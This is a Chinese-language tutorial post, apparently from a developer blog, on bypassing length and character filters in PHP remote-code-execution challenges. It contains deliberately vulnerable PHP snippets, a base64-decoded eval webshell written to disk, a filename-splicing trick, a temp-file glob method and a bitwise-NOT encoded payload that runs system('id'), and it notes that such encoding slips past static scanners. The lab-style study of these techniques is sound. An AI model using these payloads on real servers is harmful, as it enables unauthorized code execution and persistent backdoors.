RCE长度&字符限制绕过

临时文件绕过RCE

核心机制

当 PHP 接收multipart/form-data类型 POST 请求(上传文件)时:

  1. PHP 会自动把上传的文件保存到服务器磁盘,生成临时文件
  2. 临时文件路径存于:$_FILES'表单名''tmp_name'
  3. 默认生命周期:脚本执行结束,PHP 自动删除这个临时文件;脚本运行期间文件真实存在磁盘上。
  4. 临时文件名是随机,例如 /tmp/phpXXXXXX,但是临时文件名中有大小写

只有multipart/form-data表单上传文件才生成临时文件;普通application/x‑www‑form‑urlencodedPOST 纯参数不会生成临时文件。

临时文件绕过

1.长度限制绕过

复制代码
<?php
$param = $_REQUEST['param'];
if ( strlen($param) < 8 ) {
    echo shell_exec($param);
}

方法一临时文件绕过

修改请求头

Content‑Type: text/plain

声明上传文件的 MIME 类型,这里标记为普通文本

10--11行是1.txt中的内容

在tmp目录成功产生临时文件

再使用点空格,就算没有可执行权限也能执行该文件

.

方法二:文件名拼接绕过长度限制

echo PD9waHAgZXZhbCgkX0dFVFsxXSk7 | base64 -d > c.php

base64 -d是解码的意思

解码后:<?php eval($_GET1);

具体原理如下:

两个反斜杠实现转义反斜杠,文件名就是 c.\

在 Shell 脚本中:如果一行的结尾是 \,代表本行没有结束,把下一行和当前行拼接为同一行命令。

重定向>和空格

-t时间排序

echo id > c.php

成功生成后门c.php,如果把id换成其他可执行 PHP 代码,后续就可以用蚁剑连接,就能控制服务器。

2.字符限制

php8.5不再支持

复制代码
<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_\$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

方法一正则:

在code的参数中不能出现字母和数字,,于是用?来代替单个字母,分析临时文件发现在tmp目录中只有临时文件名会出现大写字母于是可以用**@-\[**表示A-Z。

在ascii码表中@过来了就是A,Z过了就是。而在正则中\[表示括号内任意一个字符。

因此可以匹配末尾是否是大写字母来匹配这个文件名

构建post上传文件请求头

成功但是没有输出

使用?><?=

?>闭合开头的<?php标签

<?= 是 PHP短输出标签,等价于 <?php echo

方法二取反:

原理如下:

以phpinfo();为例

输出取反后的值是一堆不可打印二进制字节。

进行url编码后

又能识别了

那直接对这个url编码进行取反

system ('id')

分析原理

原始字符串 system 是由字母组成的,但是 ~"system" 得到的不是可见字母,是一堆不可打印二进制字节。

payload:

复制代码
code=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

为什么这样还能执行?

1.HTTP 报文传输

请求参数里出现的%8C这类内容,只是 HTTP 协议的 URL 编码写法。报文里虽然看着有数字字母,但这只是编码格式。

2.PHP 自动 URL 解码

PHP 接收 GET 参数,自动完成解码。

%xx 整体被解码成0x80‑0xFF 范围的不可见字节。

解码之后,原来报文里的数字、字母字符直接消失,内存里存的是不可见二进制字节,不属于字母、数字。

如下图:因为此时还没有取反

3.过滤检测

preg_match检测的是解码之后的$_GET'code'变量。

变量内容只有符号~ () " ;加上一批不可见高字节,没有字母数字,过滤直接放行。

4.eval 执行代码

eval 拿到放行后的字符串执行:

**~对这些不可见字节做按位取反运算,**代码运行的时候,在内存动态计算出system、id这类带字母的字符串。

注意:system/id并不是用户输入携带的,是运行时运算生成出来的。输入过滤只会检查用户输入,不会检测程序运行过程中动态生成的数据。

PHP 语法(字符串)(参数)完成函数调用,最终执行 system("id");。

思考:

通过取反这种方式,是否可以绕过一些安全工具的限制?这些工具会检查输入源代码。

静态可以,动态行为检测不行

相关推荐
半杯咖啡半行码1 小时前
C++ 编程与 STL 模板:从泛型编程到内存安全详解
开发语言·c++
caoerzhong2 小时前
JeeWMS 开源 WMS 部署避坑指南:Java 仓库管理系统的环境基线、四类根因与可复现交付
java·开发语言·开源
时间的拾荒人2 小时前
Qt 界面优化:绘图详解 —— 从基础图形到图片处理
开发语言·qt·面试
MayZork2 小时前
Qt 文件操作:QSaveFile 与 QTemporaryFile(含 QTemporaryDir)实战
开发语言·qt
北冥you鱼2 小时前
Go 语言空接口(interface{})使用场景与最佳实践
开发语言·windows·golang
xh didida2 小时前
Linux -- 基础IO
linux·服务器·开发语言·c++
个 人 练 习 生3 小时前
C++ string 类模拟实现:从底层理解字符串(上)
开发语言·c++·经验分享·学习·程序人生
2601_966949653 小时前
多市场量化策略的数据接口应该如何设计:从数据层架构到策略接入
开发语言·python·数据分析·pandas·量化交易·股票数据·quantdash
坤坤子吖3 小时前
C++智能指针:RAII、shared_ptr与内存泄漏
开发语言·c++·笔记·学习
奋斗的阿狸_19863 小时前
ESP32-S3 + ES7210 四通道麦克风录音上传方案
c语言·开发语言·fpga开发